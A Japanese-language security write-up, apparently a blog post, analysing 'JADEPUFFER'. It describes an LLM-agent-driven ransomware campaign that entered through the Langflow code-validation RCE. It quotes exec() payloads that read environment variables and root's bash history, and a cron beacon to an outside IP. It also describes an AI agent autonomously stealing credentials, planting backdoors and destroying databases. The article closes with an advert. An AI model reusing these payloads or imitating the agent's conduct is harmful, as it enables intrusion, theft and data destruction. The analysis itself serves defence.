JADEPUFFER 完全解説
初の LLM エンドツーエンド自律型ランサムウェア攻撃

TL;DR：これは従来のランサムウェアグループによるスクリプト化攻撃ではありません。Sysdig が評価する初の全工程を LLM Agent が自律判断・実行するエンドツーエンドランサムウェア操作です。足場固め・偵察、認証情報窃取、横展開、権限維持から破壊的暗号化・身代金要求文の配信まで、重要なノードで人間の手動操作はありません。

脆弱性の原因：Langflow の「コード検証」エンドポイントは、ユーザー送信コードを ast.parse() → compile() → exec() で実行し、認証もサンドボックス隔離も一切ありません。Python の言語特性により、関数定義時のデコレータと引数デフォルト値は「定義」時点で即座に評価されます。攻撃者は悪意あるコードをデフォルト引数やデコレータに埋め込み、Langflow が「合法性検証」を行う時点でサーバー上で悪意あるコードが実行されます。ログイン不要、精巧に構築した HTTP POST 一発で RCE が成立します。

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')

上記は Trend Micro が追跡したFlodrix ボットネット（LeetHozer ファミリー派生変種）が同一脆弱性を悪用した際の典型的 payload です。順に権限確認、環境変数エクスポート、root bash 履歴読み取りを行い、最終的に 700 バイトの Bash ダウンローダーで ELF バイナリを取得し DDoS ボットネットを構築します。重要な区別：Flodrix と JADEPUFFER は独立した悪用キャンペーンであり、CVE-2025-3248 入口のみ共有します。前者は従来型スクリプト化配信、後者が LLM Agent 自律駆動型ランサムウェアです。両者ともこの脆弱性が長期間インターネットスキャンで武器化されていることを示しています。

Langflow 1.3.0 は post_validate_code に _current_user: CurrentActiveUser 依存注入を追加しました。JWT Bearer Token または x-api-key を検証し、失敗時は 401/403 を返し、リクエストは脆弱性ロジックに到達しません。

Phase 1 — Langflow ホストの掌握：すべての payload は Base64 エンコード Python を RCE エンドポイント経由で配信します。権限取得後、LLM は id、uname -a、hostname の列挙を並行実行し、同時に OpenAI/Anthropic/DeepSeek/Gemini API Key、ALIBABA_/ALIYUN_/TENCENT_/HUAWEI_ および AWS/GCP/Azure 認証情報、暗号資産ウォレットニーモニック、データベース設定をスキャンします。Langflow PostgreSQL バックエンドをエクスポートして認証情報を窃取し、一時ファイルを削除して痕跡を消します。内網をスキャンし、デフォルト認証情報でデータベースとオブジェクトストレージを探索します。

MinIO 適応型列挙（重要フォレンジック詳細）：minio.internal:9000 と 127.0.0.1:9000 を探索し、デフォルト認証情報 minioadmin:minioadmin で ListBuckets → 対象 GetObject を完了します。LLM は最初のリクエストで ?format=json を付与したが XML を受信し、次の payload で即座に XML パーサーに切り替えました。典型的な「探索→エラー→適応」ループです。terraform-state バケット発見後、credentials.json を対象抽出し、access-key/secret を完全にエコーバックしました。

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

Phase 2 — MySQL + Nacos 本番サーバーの突破：真のターゲットはインターネット公開の MySQL + Nacos 本番マシンです。Agent は root 認証情報で MySQL に直接接続しました。認証情報の出所は不明で、Sysdig は被害者環境からの窃取を観測していません。人間が事前準備した可能性がある少数の段階です。Nacos では CVE-2021-29441 認証バイパス、デフォルト JWT 署名キーによる Token 偽造、Nacos バックエンド DB へのバックドア管理者注入を同時に試行しました。

Nacos バックドア xadmin の 31 秒修復ループ（教科書級の自律性証拠）：

コンテナエスケープ事前チェック（約 8 分）：MySQL INTO OUTFILE / LOAD_FILE で書き込み・読み戻しテスト、/var/run/docker.sock、/proc/1/cgroup、/etc/hostname を確認。mysql.func UDF による権限昇格の可能性も検査しました。ランサムウェア実行前に完了マーカー _pwn_cleanup.txt を書き込みます。Sysdig はこれを Agent がタスク完了後に次フェーズへ進むシグナルと指摘しており、固定スクリプトの挙動とは異なります。

破壊的暗号化と身代金要求：全 1,342 件の Nacos 設定項目を AES_ENCRYPT() で暗号化し、config_info と his_config_info を削除、身代金要求テーブル README_RANSOM を作成しました。キーは uuid4() でランダム生成され、標準出力にのみ出力・保存・外部送信なし——支払っても復旧不可能です。身代金要求文は AES-256 と記載していますが、MySQL デフォルトは実際 AES-128-ECB です。2 分後、Agent は身代金要求文の数字を「全 1342 件暗号化済み」に修正しました。

その後 DROP DATABASE にエスカレートし、コードコメントに「高 ROI データベース、64.20.53[.]230 にバックアップ済み」と記載しています。Sysdig はデータが実際に外部流出・バックアップされた独立証拠を持ちません。Agent の自己叙述に近いと考えられます。外部キー制約で削除失敗時、次の payload で自動的に SET GLOBAL FOREIGN_KEY_CHECKS=0 を追加して回避しました。「なぜ失敗したか」を理解する必要があり、盲目的リトライではありません。

Sysdig の 4 つの自律性証拠線：

複数メディアは LLMjacking の経済シグナルに言及しています。攻撃者が窃取した認証情報で Agent を駆動する場合、複雑な多段階攻撃の限界コストはほぼゼロに近づきます。ローカルまたはインターネット公開 VPS に Langflow、OpenClaw 等の Agent オーケストレーションプラットフォームを倉促デプロイするチームでは、共有 VM の隔離不足、API Key と環境変数管理の混乱、送信トラフィック監査の欠如が JADEPUFFER 型攻撃の温床となります。安定・ネットワーク隔離・監査可能な Apple Silicon 本番環境で iOS CI/CD と AI Agent 自動化を実行する必要がある場合、MESHLAUNCH の Mac Mini クラウドレンタルが通常より優れた選択です。専用 M4/M4 Pro ベアメタル、日/週/月の弾力デプロイ、インターネット公開オーケストレーションパネルとの物理隔離により、Agent ワークロードを多数のキーを抱える開発マシンではなく制御可能なクラウドノードで実行できます。

参考ソース：Sysdig「JADEPUFFER: Agentic ransomware for automated database extortion」（sysdig.com/blog）；BleepingComputer；Dark Reading；CyberScoop；CSO Online（Vibhum Dubey コメント）；Security Affairs；Trend Micro CVE-2025-3248 / Flodrix 分析；NVD / SentinelOne / Zscaler ThreatLabz；CISA KEV カタログ。